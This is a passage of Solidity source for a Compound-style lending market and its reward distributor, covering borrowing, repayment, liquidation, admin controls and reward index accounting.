MathError mathErr;
uint256 accountBorrows;
uint256 accountBorrowsNew;
uint256 totalBorrowsNew;
}
/**
* @notice Users borrow assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @param isNative The amount is in native or not
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowFresh(
address payable borrower,
uint256 borrowAmount,
bool isNative
) internal returns (uint256) {
/* Fail if borrow not allowed */
uint256 allowed = joetroller.borrowAllowed(address(this), borrower, borrowAmount);
if (allowed != 0) {
return failOpaque(Error.JOETROLLER_REJECTION, FailureInfo.BORROW_JOETROLLER_REJECTION, allowed);
}
/*
* Return if borrowAmount is zero.
* Put behind `borrowAllowed` for accuring potential JOE rewards.
*/
if (borrowAmount == 0) {
accountBorrows[borrower].interestIndex = borrowIndex;
return uint256(Error.NO_ERROR);
}
/* Verify market's block timestamp equals current block timestamp */
if (accrualBlockTimestamp != getBlockTimestamp()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK);
}
/* Fail gracefully if protocol has insufficient underlying cash */
if (getCashPrior() < borrowAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE);
}
BorrowLocalVars memory vars;
/*
* We calculate the new borrower and total borrow balances, failing on overflow:
* accountBorrowsNew = accountBorrows + borrowAmount
* totalBorrowsNew = totalBorrows + borrowAmount
*/
vars.accountBorrows = borrowBalanceStoredInternal(borrower);
vars.accountBorrowsNew = add_(vars.accountBorrows, borrowAmount);
vars.totalBorrowsNew = add_(totalBorrows, borrowAmount);
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We invoke doTransferOut for the borrower and the borrowAmount.
* Note: The jToken must handle variations between ERC-20 and ETH underlying.
* On success, the jToken borrowAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
doTransferOut(borrower, borrowAmount, isNative);
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/* We emit a Borrow event */
emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
/* We call the defense hook */
// unused function
// joetroller.borrowVerify(address(this), borrower, borrowAmount);
return uint256(Error.NO_ERROR);
}
/**
* @notice Sender repays their own borrow
* @param repayAmount The amount to repay
* @param isNative The amount is in native or not
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowInternal(uint256 repayAmount, bool isNative) internal nonReentrant returns (uint256, uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0);
}
// repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
return repayBorrowFresh(msg.sender, msg.sender, repayAmount, isNative);
}
/**
* @notice Sender repays a borrow belonging to borrower
* @param borrower the account with the debt being payed off
* @param repayAmount The amount to repay
* @param isNative The amount is in native or not
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowBehalfInternal(
address borrower,
uint256 repayAmount,
bool isNative
) internal nonReentrant returns (uint256, uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0);
}
// repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
return repayBorrowFresh(msg.sender, borrower, repayAmount, isNative);
}
struct RepayBorrowLocalVars {
Error err;
MathError mathErr;
uint256 repayAmount;
uint256 borrowerIndex;
uint256 accountBorrows;
uint256 accountBorrowsNew;
uint256 totalBorrowsNew;
uint256 actualRepayAmount;
}
/**
* @notice Borrows are repaid by another user (possibly the borrower).
* @param payer the account paying off the borrow
* @param borrower the account with the debt being payed off
* @param repayAmount the amount of undelrying tokens being returned
* @param isNative The amount is in native or not
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowFresh(
address payer,
address borrower,
uint256 repayAmount,
bool isNative
) internal returns (uint256, uint256) {
/* Fail if repayBorrow not allowed */
uint256 allowed = joetroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount);
if (allowed != 0) {
return (failOpaque(Error.JOETROLLER_REJECTION, FailureInfo.REPAY_BORROW_JOETROLLER_REJECTION, allowed), 0);
}
/*
* Return if repayAmount is zero.
* Put behind `repayBorrowAllowed` for accuring potential JOE rewards.
*/
if (repayAmount == 0) {
accountBorrows[borrower].interestIndex = borrowIndex;
return (uint256(Error.NO_ERROR), 0);
}
/* Verify market's block timestamp equals current block timestamp */
if (accrualBlockTimestamp != getBlockTimestamp()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0);
}
RepayBorrowLocalVars memory vars;
/* We remember the original borrowerIndex for verification purposes */
vars.borrowerIndex = accountBorrows[borrower].interestIndex;
/* We fetch the amount the borrower owes, with accumulated interest */
vars.accountBorrows = borrowBalanceStoredInternal(borrower);
/* If repayAmount == -1, repayAmount = accountBorrows */
if (repayAmount == uint256(-1)) {
vars.repayAmount = vars.accountBorrows;
} else {
vars.repayAmount = repayAmount;
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the payer and the repayAmount
* Note: The jToken must handle variations between ERC-20 and ETH underlying.
* On success, the jToken holds an additional repayAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount, isNative);
/*
* We calculate the new borrower and total borrow balances, failing on underflow:
* accountBorrowsNew = accountBorrows - actualRepayAmount
* totalBorrowsNew = totalBorrows - actualRepayAmount
*/
vars.accountBorrowsNew = sub_(vars.accountBorrows, vars.actualRepayAmount);
vars.totalBorrowsNew = sub_(totalBorrows, vars.actualRepayAmount);
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/* We emit a RepayBorrow event */
emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
/* We call the defense hook */
// unused function
// joetroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex);
return (uint256(Error.NO_ERROR), vars.actualRepayAmount);
}
/**
* @notice The sender liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this jToken to be liquidated
* @param repayAmount The amount of the underlying borrowed asset to repay
* @param jTokenCollateral The market in which to seize collateral from the borrower
* @param isNative The amount is in native or not
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateBorrowInternal(
address borrower,
uint256 repayAmount,
JTokenInterface jTokenCollateral,
bool isNative
) internal nonReentrant returns (uint256, uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0);
}
error = jTokenCollateral.accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0);
}
// liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to
return liquidateBorrowFresh(msg.sender, borrower, repayAmount, jTokenCollateral, isNative);
}
/**
* @notice The liquidator liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this jToken to be liquidated
* @param liquidator The address repaying the borrow and seizing collateral
* @param jTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the underlying borrowed asset to repay
* @param isNative The amount is in native or not
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateBorrowFresh(
address liquidator,
address borrower,
uint256 repayAmount,
JTokenInterface jTokenCollateral,
bool isNative
) internal returns (uint256, uint256) {
/* Fail if liquidate not allowed */
uint256 allowed = joetroller.liquidateBorrowAllowed(
address(this),
address(jTokenCollateral),
liquidator,
borrower,
repayAmount
);
if (allowed != 0) {
return (failOpaque(Error.JOETROLLER_REJECTION, FailureInfo.LIQUIDATE_JOETROLLER_REJECTION, allowed), 0);
}
/* Verify market's block timestamp equals current block timestamp */
if (accrualBlockTimestamp != getBlockTimestamp()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0);
}
/* Verify jTokenCollateral market's block timestamp equals current block timestamp */
if (jTokenCollateral.accrualBlockTimestamp() != getBlockTimestamp()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0);
}
/* Fail if borrower = liquidator */
if (borrower == liquidator) {
return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0);
}
/* Fail if repayAmount = 0 */
if (repayAmount == 0) {
return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0);
}
/* Fail if repayAmount = -1 */
if (repayAmount == uint256(-1)) {
return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0);
}
/* Fail if repayBorrow fails */
(uint256 repayBorrowError, uint256 actualRepayAmount) = repayBorrowFresh(
liquidator,
borrower,
repayAmount,
isNative
);
if (repayBorrowError != uint256(Error.NO_ERROR)) {
return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We calculate the number of collateral tokens that will be seized */
(uint256 amountSeizeError, uint256 seizeTokens) = joetroller.liquidateCalculateSeizeTokens(
address(this),
address(jTokenCollateral),
actualRepayAmount
);
require(amountSeizeError == uint256(Error.NO_ERROR), "LIQUIDATE_JOETROLLER_CALCULATE_AMOUNT_SEIZE_FAILED");
/* Revert if borrower collateral token balance < seizeTokens */
require(jTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH");
// If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call
uint256 seizeError;
if (address(jTokenCollateral) == address(this)) {
seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens);
} else {
seizeError = jTokenCollateral.seize(liquidator, borrower, seizeTokens);
}
/* Revert if seize tokens fails (since we cannot be sure of side effects) */
require(seizeError == uint256(Error.NO_ERROR), "token seizure failed");
/* We emit a LiquidateBorrow event */
emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(jTokenCollateral), seizeTokens);
/* We call the defense hook */
// unused function
// joetroller.liquidateBorrowVerify(address(this), address(jTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens);
return (uint256(Error.NO_ERROR), actualRepayAmount);
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Will fail unless called by another jToken during the process of liquidation.
* Its absolutely critical to use msg.sender as the borrowed jToken and not a parameter.
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of jTokens to seize
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function seize(
address liquidator,
address borrower,
uint256 seizeTokens
) external nonReentrant returns (uint256) {
return seizeInternal(msg.sender, liquidator, borrower, seizeTokens);
}
/*** Admin Functions ***/
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPendingAdmin(address payable newPendingAdmin) external returns (uint256) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint256(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() external returns (uint256) {
// Check caller is pendingAdmin and pendingAdmin ≠ address(0)
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets a new joetroller for the market
* @dev Admin function to set a new joetroller
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setJoetroller(JoetrollerInterface newJoetroller) public returns (uint256) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_JOETROLLER_OWNER_CHECK);
}
JoetrollerInterface oldJoetroller = joetroller;
// Ensure invoke joetroller.isJoetroller() returns true
require(newJoetroller.isJoetroller(), "marker method returned false");
// Set market's joetroller to newJoetroller
joetroller = newJoetroller;
// Emit NewJoetroller(oldJoetroller, newJoetroller)
emit NewJoetroller(oldJoetroller, newJoetroller);
return uint256(Error.NO_ERROR);
}
/**
* @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh
* @dev Admin function to accrue interest and set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactor(uint256 newReserveFactorMantissa) external nonReentrant returns (uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed.
return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED);
}
// _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to.
return _setReserveFactorFresh(newReserveFactorMantissa);
}
/**
* @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual)
* @dev Admin function to set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactorFresh(uint256 newReserveFactorMantissa) internal returns (uint256) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK);
}
// Verify market's block timestamp equals current block timestamp
if (accrualBlockTimestamp != getBlockTimestamp()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK);
}
// Check newReserveFactor ≤ maxReserveFactor
if (newReserveFactorMantissa > reserveFactorMaxMantissa) {
return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK);
}
uint256 oldReserveFactorMantissa = reserveFactorMantissa;
reserveFactorMantissa = newReserveFactorMantissa;
emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa);
return uint256(Error.NO_ERROR);
}
/**
* @notice Accrues interest and reduces reserves by transferring from msg.sender
* @param addAmount Amount of addition to reserves
* @param isNative The amount is in native or not
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _addReservesInternal(uint256 addAmount, bool isNative) internal nonReentrant returns (uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED);
}
// _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to.
(error, ) = _addReservesFresh(addAmount, isNative);
return error;
}
/**
* @notice Add reserves by transferring from caller
* @dev Requires fresh interest accrual
* @param addAmount Amount of addition to reserves
* @param isNative The amount is in native or not
* @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees
*/
function _addReservesFresh(uint256 addAmount, bool isNative) internal returns (uint256, uint256) {
// totalReserves + actualAddAmount
uint256 totalReservesNew;
uint256 actualAddAmount;
// We fail gracefully unless market's block timestamp equals current block timestamp
if (accrualBlockTimestamp != getBlockTimestamp()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the caller and the addAmount
* Note: The jToken must handle variations between ERC-20 and ETH underlying.
* On success, the jToken holds an additional addAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
actualAddAmount = doTransferIn(msg.sender, addAmount, isNative);
totalReservesNew = add_(totalReserves, actualAddAmount);
// Store reserves[n+1] = reserves[n] + actualAddAmount
totalReserves = totalReservesNew;
/* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */
emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew);
/* Return (NO_ERROR, actualAddAmount) */
return (uint256(Error.NO_ERROR), actualAddAmount);
}
/**
* @notice Accrues interest and reduces reserves by transferring to admin
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReserves(uint256 reduceAmount) external nonReentrant returns (uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED);
}
// _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to.
return _reduceReservesFresh(reduceAmount);
}
/**
* @notice Reduces reserves by transferring to admin
* @dev Requires fresh interest accrual
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReservesFresh(uint256 reduceAmount) internal returns (uint256) {
// totalReserves - reduceAmount
uint256 totalReservesNew;
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK);
}
// We fail gracefully unless market's block timestamp equals current block timestamp
if (accrualBlockTimestamp != getBlockTimestamp()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK);
}
// Fail gracefully if protocol has insufficient underlying cash
if (getCashPrior() < reduceAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE);
}
// Check reduceAmount ≤ reserves[n] (totalReserves)
if (reduceAmount > totalReserves) {
return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
totalReservesNew = sub_(totalReserves, reduceAmount);
// Store reserves[n+1] = reserves[n] - reduceAmount
totalReserves = totalReservesNew;
// doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
// Restrict reducing reserves in native token. Implementations except `JWrappedNative` won't use parameter `isNative`.
doTransferOut(admin, reduceAmount, true);
emit ReservesReduced(admin, reduceAmount, totalReservesNew);
return uint256(Error.NO_ERROR);
}
/**
* @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh
* @dev Admin function to accrue interest and update the interest rate model
* @param newInterestRateModel the new interest rate model to use
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint256) {
uint256 error = accrueInterest();
if (error != uint256(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed
return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED);
}
// _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to.
return _setInterestRateModelFresh(newInterestRateModel);
}
/**
* @notice updates the interest rate model (*requires fresh interest accrual)
* @dev Admin function to update the interest rate model
* @param newInterestRateModel the new interest rate model to use
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint256) {
// Used to store old model for use in the event that is emitted on success
InterestRateModel oldInterestRateModel;
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK);
}
// We fail gracefully unless market's block timestamp equals current block timestamp
if (accrualBlockTimestamp != getBlockTimestamp()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK);
}
// Track the market's current interest rate model
oldInterestRateModel = interestRateModel;
// Ensure invoke newInterestRateModel.isInterestRateModel() returns true
require(newInterestRateModel.isInterestRateModel(), "marker method returned false");
// Set the interest rate model to newInterestRateModel
interestRateModel = newInterestRateModel;
// Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel)
emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel);
return uint256(Error.NO_ERROR);
}
/*** Safe Token ***/
/**
* @notice Gets balance of this contract in terms of the underlying
* @dev This excludes the value of the current message, if any
* @return The quantity of underlying owned by this contract
*/
function getCashPrior() internal view returns (uint256);
/**
* @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee.
* This may revert due to insufficient balance or insufficient allowance.
*/
function doTransferIn(
address from,
uint256 amount,
bool isNative
) internal returns (uint256);
/**
* @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting.
* If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract.
* If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions.
*/
function doTransferOut(
address payable to,
uint256 amount,
bool isNative
) internal;
/**
* @notice Transfer `tokens` tokens from `src` to `dst` by `spender`
* @dev Called by both `transfer` and `transferFrom` internally
*/
function transferTokens(
address spender,
address src,
address dst,
uint256 tokens
) internal returns (uint256);
/**
* @notice Get the account's jToken balances
*/
function getJTokenBalanceInternal(address account) internal view returns (uint256);
/**
* @notice User supplies assets into the market and receives jTokens in exchange
* @dev Assumes interest has already been accrued up to the current timestamp
*/
function mintFresh(
address minter,
uint256 mintAmount,
bool isNative
) internal returns (uint256, uint256);
/**
* @notice User redeems jTokens in exchange for the underlying asset
* @dev Assumes interest has already been accrued up to the current timestamp
*/
function redeemFresh(
address payable redeemer,
uint256 redeemTokensIn,
uint256 redeemAmountIn,
bool isNative
) internal returns (uint256);
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another JToken.
* Its absolutely critical to use msg.sender as the seizer jToken and not a parameter.
*/
function seizeInternal(
address seizerToken,
address liquidator,
address borrower,
uint256 seizeTokens
) internal returns (uint256);
/*** Reentrancy Guard ***/
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
*/
modifier nonReentrant() {
require(_notEntered, "re-entered");
_notEntered = false;
_;
_notEntered = true; // get a gas-refund post-Istanbul
}
}
pragma experimental ABIEncoderV2;
contract RewardDistributorStorage {
/**
* @notice Administrator for this contract
*/
address public admin;
/**
* @notice Active brains of Unitroller
*/
Joetroller public joetroller;
struct RewardMarketState {
/// @notice The market's last updated joeBorrowIndex or joeSupplyIndex
uint224 index;
/// @notice The timestamp number the index was last updated at
uint32 timestamp;
}
/// @notice The portion of reward rate that each market currently receives
mapping(uint8 => mapping(address => uint256)) public rewardSpeeds;
/// @notice The JOE/AVAX market supply state for each market
mapping(uint8 => mapping(address => RewardMarketState)) public rewardSupplyState;
/// @notice The JOE/AVAX market borrow state for each market
mapping(uint8 => mapping(address => RewardMarketState)) public rewardBorrowState;
/// @notice The JOE/AVAX borrow index for each market for each supplier as of the last time they accrued reward
mapping(uint8 => mapping(address => mapping(address => uint256))) public rewardSupplierIndex;
/// @notice The JOE/AVAX borrow index for each market for each borrower as of the last time they accrued reward
mapping(uint8 => mapping(address => mapping(address => uint256))) public rewardBorrowerIndex;
/// @notice The JOE/AVAX accrued but not yet transferred to each user
mapping(uint8 => mapping(address => uint256)) public rewardAccrued;
/// @notice The initial reward index for a market
uint224 public constant rewardInitialIndex = 1e36;
/// @notice JOE token contract address
address public joeAddress;
}
contract RewardDistributor is RewardDistributorStorage, Exponential {
/// @notice Emitted when a new reward speed is calculated for a market
event RewardSpeedUpdated(uint8 rewardType, JToken indexed jToken, uint256 newSpeed);
/// @notice Emitted when JOE/AVAX is distributed to a supplier
event DistributedSupplierReward(
uint8 rewardType,
JToken indexed jToken,
address indexed supplier,
uint256 rewardDelta,
uint256 rewardSupplyIndex
);
/// @notice Emitted when JOE/AVAX is distributed to a borrower
event DistributedBorrowerReward(
uint8 rewardType,
JToken indexed jToken,
address indexed borrower,
uint256 rewardDelta,
uint256 rewardBorrowIndex
);
/// @notice Emitted when JOE is granted by admin
event RewardGranted(uint8 rewardType, address recipient, uint256 amount);
bool private initialized;
constructor() public {
admin = msg.sender;
}
function initialize() public {
require(!initialized, "RewardDistributor already initialized");
joetroller = Joetroller(msg.sender);
initialized = true;
}
/**
* @notice Checks caller is admin, or this contract is becoming the new implementation
*/
function adminOrInitializing() internal view returns (bool) {
return msg.sender == admin || msg.sender == address(joetroller);
}
/**
* @notice Set JOE/AVAX speed for a single market
* @param rewardType 0 = QI, 1 = AVAX
* @param jToken The market whose reward speed to update
* @param rewardSpeed New reward speed for market
*/
function _setRewardSpeed(
uint8 rewardType,
JToken jToken,
uint256 rewardSpeed
) public {
require(rewardType <= 1, "rewardType is invalid");
require(adminOrInitializing(), "only admin can set reward speed");
setRewardSpeedInternal(rewardType, jToken, rewardSpeed);
}
/**
* @notice Set JOE/AVAX speed for a single market
* @param rewardType 0: JOE, 1: AVAX
* @param jToken The market whose speed to update
* @param newSpeed New JOE or AVAX speed for market
*/
function setRewardSpeedInternal(
uint8 rewardType,
JToken jToken,
uint256 newSpeed
) internal {
uint256 currentRewardSpeed = rewardSpeeds[rewardType][address(jToken)];
if (currentRewardSpeed != 0) {
// note that JOE speed could be set to 0 to halt liquidity rewards for a market
Exp memory borrowIndex = Exp({mantissa: jToken.borrowIndex()});
updateRewardSupplyIndex(rewardType, address(jToken));
updateRewardBorrowIndex(rewardType, address(jToken), borrowIndex);
} else if (newSpeed != 0) {
// Add the JOE market
require(joetroller.isMarketListed(address(jToken)), "reward market is not listed");
if (
rewardSupplyState[rewardType][address(jToken)].index == 0 &&
rewardSupplyState[rewardType][address(jToken)].timestamp == 0
) {
rewardSupplyState[rewardType][address(jToken)] = RewardMarketState({
index: rewardInitialIndex,
timestamp: safe32(getBlockTimestamp(), "block timestamp exceeds 32 bits")
});
}
if (
rewardBorrowState[rewardType][address(jToken)].index == 0 &&
rewardBorrowState[rewardType][address(jToken)].timestamp == 0
) {
rewardBorrowState[rewardType][address(jToken)] = RewardMarketState({
index: rewardInitialIndex,
timestamp: safe32(getBlockTimestamp(), "block timestamp exceeds 32 bits")
});
}
}
if (currentRewardSpeed != newSpeed) {
rewardSpeeds[rewardType][address(jToken)] = newSpeed;
emit RewardSpeedUpdated(rewardType, jToken, newSpeed);
}
}
/**
* @notice Accrue JOE/AVAX to the market by updating the supply index
* @param rewardType 0: JOE, 1: AVAX
* @param jToken The market whose supply index to update
*/
function updateRewardSupplyIndex(uint8 rewardType, address jToken) internal {
require(rewardType <= 1, "rewardType is invalid");
RewardMarketState storage supplyState = rewardSupplyState[rewardType][jToken];
uint256 supplySpeed = rewardSpeeds[rewardType][jToken];
uint256 blockTimestamp = getBlockTimestamp();
uint256 deltaTimestamps = sub_(blockTimestamp, uint256(supplyState.timestamp));
if (deltaTimestamps > 0 && supplySpeed > 0) {
uint256 supplyTokens = JToken(jToken).totalSupply();
uint256 rewardAccrued = mul_(deltaTimestamps, supplySpeed);
Double memory ratio = supplyTokens > 0 ? fraction(rewardAccrued, supplyTokens) : Double({mantissa: 0});
Double memory index = add_(Double({mantissa: supplyState.index}), ratio);
rewardSupplyState[rewardType][jToken] = RewardMarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
timestamp: safe32(blockTimestamp, "block timestamp exceeds 32 bits")
});
} else if (deltaTimestamps > 0) {
supplyState.timestamp = safe32(blockTimestamp, "block timestamp exceeds 32 bits");
}
}
/**
* @notice Accrue JOE/AVAX to the market by updating the borrow index
* @param rewardType 0: JOE, 1: AVAX
* @param jToken The market whose borrow index to update
*/
function updateRewardBorrowIndex(
uint8 rewardType,
address jToken,
Exp memory marketBorrowIndex
) internal {
